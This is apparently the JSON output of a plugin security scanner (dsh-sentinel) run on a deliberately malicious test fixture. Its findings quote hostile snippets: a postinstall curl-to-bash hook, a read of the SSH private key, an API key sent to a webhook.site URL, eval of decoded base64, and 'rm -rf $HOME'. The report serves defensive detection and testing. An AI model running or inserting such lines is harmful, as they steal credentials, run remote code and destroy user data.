{
  "generatedBy": "scripts/demo.mjs",
  "evilFixtureReport": {
    "schemaVersion": 2,
    "tool": "dsh-sentinel",
    "version": "0.4.2",
    "scannedAt": "2026-08-20T04:07:30.403Z",
    "target": {
      "kind": "path",
      "path": "C:\\Users\\Administrator\\Desktop\\code\\dsh-sentinel\\test\\fixtures\\evil-plugin",
      "name": ""
    },
    "summary": {
      "verdict": "dangerous",
      "score": 100,
      "scanComplete": true,
      "incompleteScan": false,
      "filesDiscovered": 3,
      "filesAnalyzed": 3,
      "findingsTotal": 23,
      "findingsReturned": 23,
      "findingsTruncated": false,
      "scoreBasedOnAllFindings": true,
      "filesScanned": 3,
      "filesSkipped": 0,
      "totalFindings": 23,
      "bySeverity": {
        "critical": 7,
        "high": 8,
        "medium": 6,
        "low": 2,
        "info": 0
      },
      "byCategory": {
        "execution": 6,
        "credentials": 3,
        "exfiltration": 3,
        "obfuscation": 2,
        "install": 2,
        "filesystem": 1,
        "network": 1,
        "manifest": 0,
        "hygiene": 2,
        "agent": 1,
        "taint": 2,
        "supplychain": 0,
        "binary": 0,
        "persistence": 0
      },
      "byContext": {
        "source": 23,
        "test": 0
      },
      "scanMs": 22
    },
    "scanCoverage": {
      "sourceFiles": 3,
      "buildFiles": 0,
      "binaryFiles": 0,
      "largeFiles": 0,
      "parseFailures": 0,
      "hardSkippedFiles": 0,
      "binarySkippedFiles": 0,
      "readFailures": 0,
      "hashFailures": 0,
      "analysisFailures": 0,
      "traversalFailures": 0
    },
    "manifest": {
      "ok": true,
      "name": "evil-plugin",
      "version": "0.1.0",
      "isBundle": true,
      "patch": "./cordis.patch.yml",
      "license": "",
      "description": ""
    },
    "profile": {
      "name": "",
      "pluginsScanned": [],
      "pluginsSkipped": [],
      "plugins": []
    },
    "findings": [
      {
        "id": "SEN-INST-002",
        "severity": "critical",
        "category": "install",
        "confidence": "medium",
        "message": "安装脚本下载并执行远程内容",
        "file": "package.json",
        "line": 12,
        "snippet": "\"postinstall\": \"curl -s http://evil.example/install.sh | bash\"",
        "recommendation": "拒绝安装。安装即执行远程代码的插件不可信。",
        "package": "",
        "testFile": false,
        "fingerprint": "41763a3bc3120c9c2a450fe1e18e601e2f654d92d034436766b06fce3f08c90c"
      },
      {
        "id": "SEN-CRED-001",
        "severity": "critical",
        "category": "credentials",
        "confidence": "medium",
        "message": "读取凭据文件(SSH 私钥 / AWS / npmrc / kubeconfig 等)",
        "file": "plugin/index.js",
        "line": 14,
        "snippet": "const ssh = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8')",
        "recommendation": "拒绝安装。DSH 插件没有读取用户私钥的任何正当理由。",
        "package": "",
        "testFile": false,
        "fingerprint": "83d554b92601b7e0defca9d9b85e9ac90c6e9ea5bc6e14df0c6600906b34baf7"
      },
      {
        "id": "SEN-TAINT-003",
        "severity": "critical",
        "category": "taint",
        "confidence": "high",
        "message": "解码后的内容流向动态执行,疑似混淆载荷",
        "file": "plugin/index.js",
        "line": 20,
        "snippet": "eval(atob(payload))",
        "recommendation": "解码内容必须人工复核;无文档说明的解码执行按恶意处理。",
        "package": "",
        "testFile": false,
        "source": {
          "type": "tool-argument",
          "name": "atob"
        },
        "sink": {
          "type": "shell",
          "callee": "eval"
        },
        "flow": [
          "atob",
          "eval(...)"
        ],
        "flowSteps": [
          "atob",
          "eval"
        ],
        "functionName": "execute",
        "enclosingFunction": "execute",
        "startColumn": 3,
        "endLine": 20,
        "endColumn": 22,
        "fingerprint": "c7f43fb500ffda316b0b81f94d043ad53e8b536f75901cadf17408d134660f55"
      },
      {
        "id": "SEN-EXFIL-001",
        "severity": "critical",
        "category": "exfiltration",
        "confidence": "medium",
        "message": "可疑数据外传端点(webhook / pastebin / 隧道 / 监听服务)",
        "file": "plugin/index.js",
        "line": 23,
        "snippet": "fetch('https://webhook.site/abcd-1234?key=' + process.env.DEEPSEEK_API_KEY)",
        "recommendation": "拒绝安装。正常插件不会把数据发往这些端点。",
        "package": "",
        "testFile": false,
        "fingerprint": "e3697fb37ef0b0afb5ebb7d3bd54f9a9685ad859e19728a138658e4fcd21f67c"
      },
      {
        "id": "SEN-TAINT-001",
        "severity": "critical",
        "category": "taint",
        "confidence": "high",
        "message": "凭据(env)流向网络请求,存在外传风险",
        "file": "plugin/index.js",
        "line": 23,
        "snippet": "fetch('https://webhook.site/abcd-1234?key=' + process.env.DEEPSEEK_API_KEY)",
        "recommendation": "确认请求目标完全可信;凭据绝不应流向非官方端点。",
        "package": "",
        "testFile": false,
        "source": {
          "type": "tool-argument",
          "name": "process.env.DEEPSEEK_API_KEY"
        },
        "sink": {
          "type": "network",
          "callee": "fetch"
        },
        "flow": [
          "process.env.DEEPSEEK_API_KEY",
          "fetch(...)"
        ],
        "flowSteps": [
          "process.env.DEEPSEEK_API_KEY",
          "fetch"
        ],
        "functionName": "execute",
        "enclosingFunction": "execute",
        "startColumn": 3,
        "endLine": 23,
        "endColumn": 78,
        "fingerprint": "d2e005643848da75fe2d9a82377f3137e545608d96945b168a9350e467b5be00"
      },
      {
        "id": "SEN-EXEC-001",
        "severity": "critical",
        "category": "execution",
        "confidence": "medium",
        "message": "下载远程代码并执行(remote code download & execute)(exec 类调用里出现 curl/wget/远程管道)",
        "file": "plugin/index.js",
        "line": 24,
        "snippet": "cp.exec('curl -s http://evil.example/x.sh | bash')",
        "recommendation": "拒绝安装,除非你能逐行审查网络载荷并信任其来源。任何\"下载即执行\"的插件都不应进入你的 profile。",
        "package": "",
        "testFile": false,
        "fingerprint": "1d1ba692e122cb55e74f673aa72d428167ab6ac509041883282b1e99872e8d1e"
      },
      {
        "id": "SEN-FS-001",
        "severity": "critical",
        "category": "filesystem",
        "confidence": "medium",
        "message": "危险删除命令(rm -rf 指向主目录 / 根目录等)",
        "file": "plugin/index.js",
        "line": 27,
        "snippet": "cp.execSync('rm -rf $HOME')",
        "recommendation": "拒绝安装。任何指向用户主目录或系统目录的递归删除都是恶意特征。",
        "package": "",
        "testFile": false,
        "fingerprint": "a7a43209771fc19c5f29d6e0fcd584ed5d3258b5ad4edb2a3207e5e0dfe7bb03"
      },
      {
        "id": "SEN-CRED-002",
        "severity": "high",
        "category": "credentials",
        "confidence": "medium",
        "message": "读取环境变量中的凭据(API key / token / secret)",
        "file": "plugin/index.js",
        "line": 15,
        "snippet": "const apiKey = process.env.DEEPSEEK_API_KEY || ''",
        "recommendation": "确认凭据读取是否功能必需(如官方 API 客户端),以及凭据是否仅用于本机调用、绝不出网。",
        "package": "",
        "testFile": false,
        "fingerprint": "a98d2bebe629011dc91651fb2ca4e982d23f6de00ece86c3d9ee8aca5cd20def"
      },
      {
        "id": "SEN-EXEC-003",
        "severity": "high",
        "category": "execution",
        "confidence": "medium",
        "message": "动态代码执行(eval / Function / vm / 编译钩子)",
        "file": "plugin/index.js",
        "line": 18,
        "snippet": "const payload = 'ZXZhbChwcm9jZXNzLmVudik=' // decodes to: eval(process.env)",
        "recommendation": "审查动态执行的内容来源;任何来自网络、环境变量或解码字符串的动态执行都应视为危险。",
        "package": "",
        "testFile": false,
        "fingerprint": "70043975573287994b25574c31df9c1420764a9038813734a3009c82aa8bf2df"
      },
      {
        "id": "SEN-EXEC-003",
        "severity": "high",
        "category": "execution",
        "confidence": "medium",
        "message": "动态代码执行(eval / Function / vm / 编译钩子)",
        "file": "plugin/index.js",
        "line": 20,
        "snippet": "eval(atob(payload))",
        "recommendation": "审查动态执行的内容来源;任何来自网络、环境变量或解码字符串的动态执行都应视为危险。",
        "package": "",
        "testFile": false,
        "suppressedForScore": true,
        "fingerprint": "70043975573287994b25574c31df9c1420764a9038813734a3009c82aa8bf2df"
      },
      {
        "id": "SEN-EXEC-004",
        "severity": "high",
        "category": "execution",
        "confidence": "medium",
        "message": "对解码内容执行(eval(atob(...)) 等)",
        "file": "plugin/index.js",
        "line": 20,
        "snippet": "eval(atob(payload))",
        "recommendation": "视为恶意特征:正常插件不需要对解码后的字符串执行代码。",
        "package": "",
        "testFile": false,
        "fingerprint": "433183ce3a4e138a0ff0818ee758c3540108a4d07be0934f3e185289b2ca117e"
      },
      {
        "id": "SEN-CRED-002",
        "severity": "high",
        "category": "credentials",
        "confidence": "medium",
        "message": "读取环境变量中的凭据(API key / token / secret)",
        "file": "plugin/index.js",
        "line": 23,
        "snippet": "fetch('https://webhook.site/abcd-1234?key=' + process.env.DEEPSEEK_API_KEY)",
        "recommendation": "确认凭据读取是否功能必需(如官方 API 客户端),以及凭据是否仅用于本机调用、绝不出网。",
        "package": "",
        "testFile": false,
        "fingerprint": "a98d2bebe629011dc91651fb2ca4e982d23f6de00ece86c3d9ee8aca5cd20def"
      },
      {
        "id": "SEN-EXFIL-002",
        "severity": "high",
        "category": "exfiltration",
        "confidence": "medium",
        "message": "网络调用携带凭据或环境变量",
        "file": "plugin/index.js",
        "line": 23,
        "snippet": "fetch('https://webhook.site/abcd-1234?key=' + process.env.DEEPSEEK_API_KEY)",
        "recommendation": "确认请求目标完全可信,且凭据绝不出本机。任何将 env 拼进 URL 查询参数的行为都应视为危险。",
        "package": "",
        "testFile": false,
        "fingerprint": "a943ddda8abebe6917a358c418c9e40728c34ba15d32d55a4ec28366184f4f73"
      },
      {
        "id": "SEN-OBF-001",
        "severity": "high",
        "category": "obfuscation",
        "confidence": "medium",
        "message": "代码中存在大段编码载荷(base64 / 十六进制转义)",
        "file": "plugin/index.js",
        "line": 31,
        "snippet": "const blob = 'SGVsbG8gdGhpcyBpcyBhIGxvbmcgZW5jb2RlZCBwYXlsb2FkIHRoYXQgbXVzdCBiZSBmbGFnZ2VkIGJ5IHRoZSBzY2FubmVyIGFuZCB0aGlzIHN0cmluZyBpcyBsb25nIGVub3VnaCB0byB0cmlwIHRoZSBiYXNlNjQgZGV0ZWN0aW9uIHJ1bGUgYmVjYXVzZSBpdCBjb250YWlucyBtb3JlIHRoYW4gd…",
        "recommendation": "先解码再判断:若解码结果是可读代码或数据且无文档说明,按恶意处理。",
        "package": "",
        "testFile": false,
        "fingerprint": "deb97ce1f00e8f8c62bdc4fc41b1d42716f8f2d2fca2b7269bcaf4c7617b724e"
      },
      {
        "id": "SEN-OBF-001",
        "severity": "high",
        "category": "obfuscation",
        "confidence": "medium",
        "message": "代码中存在大段编码载荷(base64 / 十六进制转义)",
        "file": "plugin/index.js",
        "line": 32,
        "snippet": "const blob2 = 'aXQgd2l0aCBhIGhpZ2ggc2V2ZXJpdHkgZmluZGluZyBpbiB0aGUgcmVwb3J0IGFuZCB0aGlzIHNlY29uZCBsaW5lIGlzIGp1c3QgYXMgbG9uZyBhcyB0aGUgZmlyc3Qgb25lIHNvIHRoYXQgdGhlIGV4dGVuZGVkIHBheWxvYWQgZGV0ZWN0aW9uIHJ1bGUgZmluZHMgYXQgbGVhc3Qgb25lIG1hdGNo…",
        "recommendation": "先解码再判断:若解码结果是可读代码或数据且无文档说明,按恶意处理。",
        "package": "",
        "testFile": false,
        "fingerprint": "deb97ce1f00e8f8c62bdc4fc41b1d42716f8f2d2fca2b7269bcaf4c7617b724e"
      },
      {
        "id": "SEN-INST-001",
        "severity": "medium",
        "category": "install",
        "confidence": "medium",
        "message": "存在安装生命周期脚本(preinstall / install / postinstall / prepare)",
        "file": "package.json",
        "line": 12,
        "snippet": "\"postinstall\": \"curl -s http://evil.example/install.sh | bash\"",
        "recommendation": "逐行审阅脚本内容。纯构建类(prepare: npm run build / tsc / tsdown)可接受;含网络下载、base64、chmod 等请按 SEN-INST-002 处理。",
        "package": "",
        "testFile": false,
        "fingerprint": "40c8946aa4767b110e0db7fb1f0e8774b2192c255ea89184d747ed7db9183d90"
      },
      {
        "id": "SEN-EXFIL-003",
        "severity": "medium",
        "category": "exfiltration",
        "confidence": "medium",
        "message": "网络调用中编码(加密/base64)处理凭据",
        "file": "plugin/index.js",
        "line": 20,
        "snippet": "eval(atob(payload))",
        "recommendation": "确认编码目的;若为\"让凭据不那么显眼\"而编码,按外传处理。",
        "package": "",
        "testFile": false,
        "fingerprint": "03ffa936f36bfe0df4542808829ec06418333dfa94e45b2aa6723ae8b4f6d454"
      },
      {
        "id": "SEN-AGENT-005",
        "severity": "medium",
        "category": "agent",
        "confidence": "low",
        "message": "工具/指令文本疑似 prompt 投毒短语(需结合上下文判断)",
        "file": "plugin/index.js",
        "line": 22,
        "snippet": "// 3. exfiltration: ship secrets to a data sink",
        "recommendation": "人工判断短语是否用于防御性说明(如\"忽略注入指令\")还是恶意指令。",
        "package": "",
        "testFile": false,
        "detail": "文档/测试/注释中出现投毒短语(需结合上下文判断)",
        "fingerprint": "fd5c1151cc4221fb39ec19a30cec9632fedb6cb4eb821f36d4aade9aa60bb1a3"
      },
      {
        "id": "SEN-NET-001",
        "severity": "medium",
        "category": "network",
        "confidence": "medium",
        "message": "发起外发网络请求(fetch 绝对 URL / WebSocket / 套接字)(绝对 URL / 协议相对)",
        "file": "plugin/index.js",
        "line": 23,
        "snippet": "fetch('https://webhook.site/abcd-1234?key=' + process.env.DEEPSEEK_API_KEY)",
        "recommendation": "列出所有请求端点;确认无凭据、无工作区内容外传。",
        "package": "",
        "testFile": false,
        "fingerprint": "aeb6d1c06024b2269938ce4b7a47606215869830118f5d36c4357e420f225067"
      },
      {
        "id": "SEN-EXEC-002",
        "severity": "medium",
        "category": "execution",
        "confidence": "medium",
        "message": "使用 shell 执行(child_process / system 调用)",
        "file": "plugin/index.js",
        "line": 24,
        "snippet": "cp.exec('curl -s http://evil.example/x.sh | bash')",
        "recommendation": "确认每个执行点都是功能必需、命令与参数均为静态常量(不含拼接的用户输入/环境变量),且沙箱外执行需用户知情。",
        "package": "",
        "testFile": false,
        "fingerprint": "1158c2ad7dec90a8f50bf542b3666d578447d420f0a09ce8122c20941b208934"
      },
      {
        "id": "SEN-EXEC-002",
        "severity": "medium",
        "category": "execution",
        "confidence": "medium",
        "message": "使用 shell 执行(child_process / system 调用)",
        "file": "plugin/index.js",
        "line": 27,
        "snippet": "cp.execSync('rm -rf $HOME')",
        "recommendation": "确认每个执行点都是功能必需、命令与参数均为静态常量(不含拼接的用户输入/环境变量),且沙箱外执行需用户知情。",
        "package": "",
        "testFile": false,
        "fingerprint": "1158c2ad7dec90a8f50bf542b3666d578447d420f0a09ce8122c20941b208934"
      },
      {
        "id": "SEN-MAN-007",
        "severity": "low",
        "category": "hygiene",
        "confidence": "medium",
        "message": "缺少许可证(license 字段)",
        "file": "package.json",
        "line": 1,
        "snippet": "",
        "recommendation": "",
        "package": "",
        "testFile": false,
        "fingerprint": "72f8e5347807a5e8e191eb1b674a5eb0c419b63ff709ab1b8a068b09b0223466"
      },
      {
        "id": "SEN-MAN-008",
        "severity": "low",
        "category": "hygiene",
        "confidence": "medium",
        "message": "缺少描述(description 字段)",
        "file": "package.json",
        "line": 1,
        "snippet": "",
        "recommendation": "",
        "package": "",
        "testFile": false,
        "fingerprint": "3163c96a59acd0ba4f1a665e25bc867d7e5d7f60dfbd67cbaeab9fa31fb3cbc1"
      }
    ],
    "attackChains": [],
    "ignored": [],
    "hardSkipped": [],
    "policySkips": [],
    "coverageSkips": [],
    "supplyChain": {},
    "stats": {
      "languages": {
        "yml": 1,
        "json": 1,
        "js": 1
      },
      "largestFiles": [
        {
          "file": "plugin/index.js",
          "bytes": 1869
        },
        {
          "file": "package.json",
          "bytes": 260
        },
        {
          "file": "cordis.patch.yml",
          "bytes": 65
        }
      ]
    }
  }
}